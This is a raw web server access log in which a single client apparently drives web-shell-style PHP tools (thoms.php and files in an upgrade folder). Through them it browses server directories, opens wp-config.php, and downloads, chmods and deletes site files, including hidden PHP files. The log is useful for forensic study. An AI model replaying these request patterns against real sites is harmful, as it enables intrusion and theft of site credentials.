45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11326 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20550 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /thoms.php?edit=readme.html&p=betcity.com.tw HTTP/1.1" 200 14991 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 200 6699 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 33768 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=betcity.com.tw HTTP/1.1" 200 18610 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 31312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7823 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7977 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9630 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 28665 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 46846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5819 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 6702 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 6966 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 47566 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 6665 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F%2F.632865255236320.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 7248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 200 6700 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 6873 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:45 -0400] "GET /betcity.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10894 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /betcity.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade%2F HTTP/1.1" 200 6670 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /betcity.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9597 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?edit=thoms.php&p=betcity.com.tw HTTP/1.1" 200 56164 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 59738 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?edit=wp-config.php&p=betcity.com.tw HTTP/1.1" 200 13453 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?edit=wp-config.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 17045 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?edit=wp-cron.php&p=betcity.com.tw HTTP/1.1" 200 13947 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 17539 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?del=postnews.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13992 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade%2F.htaccess&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade%2F.htaccess&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?chmod=error_log&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?del=index.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13974 "http://163.245.207.76:443/thoms.php?del=index.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 200 11835 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:46 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 200 11841 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?del=txets.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13990 "http://163.245.207.76:443/thoms.php?del=txets.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?dl=postnews.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13972 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade%2F.632865255236320.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11374 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade%2F.632865255236320.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?chmod=.htaccess&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /betcity.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?del=.htaccess&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13966 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade%2Fadmin.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade%2Fadmin.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade&settings=1 HTTP/1.1" 200 11923 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?del=error_log&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13975 "http://163.245.207.76:443/thoms.php?del=error_log&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?dl=error_log&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13974 "http://163.245.207.76:443/thoms.php?dl=error_log&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?dl=index.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13963 "http://163.245.207.76:443/thoms.php?dl=index.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 200 38764 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?chmod=admin.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /betcity.com.tw/upgrade/index.php HTTP/1.1" 200 6668 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /betcity.com.tw/upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade%2Findex.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade%2Findex.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:47 -0400] "GET /betcity.com.tw/upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?chmod=txets.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade%2Ftxets.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11314 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade%2Ftxets.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /betcity.com.tw/upgrade/.632865255236320.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 200 11843 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade%2Fpostnews.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade%2Fpostnews.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?del=.632865255236320.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13776 "http://163.245.207.76:443/thoms.php?del=.632865255236320.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?dl=.632865255236320.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13775 "http://163.245.207.76:443/thoms.php?dl=.632865255236320.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 200 11945 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade%2Ftermps.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade%2Ftermps.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?chmod=.632865255236320.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=.632865255236320.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13776 "https://163.245.207.76:443/thoms.php?chmod=.632865255236320.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
